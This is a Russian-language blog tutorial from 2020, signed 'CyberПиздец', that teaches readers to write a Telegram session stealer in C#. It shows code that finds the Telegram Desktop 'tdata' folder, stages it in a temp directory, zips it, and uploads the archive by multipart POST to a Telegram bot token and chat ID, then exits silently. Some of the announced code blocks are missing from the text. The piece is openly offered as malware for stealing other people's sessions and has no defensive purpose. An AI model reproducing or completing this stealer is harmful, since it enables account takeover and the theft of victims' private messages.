May 31, 2020

Пишем стиллер телеграмма {C# time}

Привет мой дорогой "uname -a"! Сегодня у нас будет программирования. На чем?

Верно на языке богов (С#).

И что же мы будем писать? Верно стиллер телеграмм сессий.

Для начала мы должны создать наш так сказать проект.

Давайте создадим класс который будет называться "cTelegram".

Теперь сделаем юзинги:

using System;
using System.IO;
using System.Collections.Generic;
using System.Text;

Окай теперь сделаем проверку есть ли наша тг, и если его нет вернет нам false

string sDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
                if (!Directory.Exists(sDir))
                    return false;

Ну и давайте теперь напишем главною функицю:

Ну а в целом код такой:

Ладно сам стиллер мы сделали теперь перейдем в Program.cs, и добавим немного string'oв)

        public static string temp = Path.GetTempPath();
        public static string username = WindowsIdentity.GetCurrent().Name;
        public static string workdir = temp + username;

Ладно, мы почти все сделали! Теперь можем создать класс "cSendData", и написать в него отправку всех данных на телеграмм.

Для этого мы заходим в NuGet, и скачиваем Ionic.Zip

Теперь делаем юзинги:

using System;
using System.IO;
using System.Net;
using System.Text;
using Ionic.Zip;

Теперь создаем два стирнга:

        static string Token = "Токен";
        static string ID = "ИД";

ну и сделаем чтобы все это кидалось в архив:

Ну а дальше саму отправку:

   private static void UploadMultipart(byte[] file, string filename, string contentType, string url)
        {
            try
            {
                WebClient webClient = new WebClient();
                string text = "------------------------" + DateTime.Now.Ticks.ToString("x");
                webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text);
                string @string = webClient.Encoding.GetString(file);
                string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[]
                {
                   text,
                   filename,
                   contentType,
                   @string
                });
                byte[] bytes = webClient.Encoding.GetBytes(s);
                webClient.UploadData(url, "POST", bytes);
                Environment.Exit(0);
            }
            catch { }
        }

Теперь впишем в класс Program.cs:

Теперь можем спокойно запустить. И если мы все сделали правильно, мы увидем:

Где будут наша тг сессия!

Ну а на этом все! С вами были CyberПиздец.

Надеюсь вам эта статью помогла, и вы стали умнее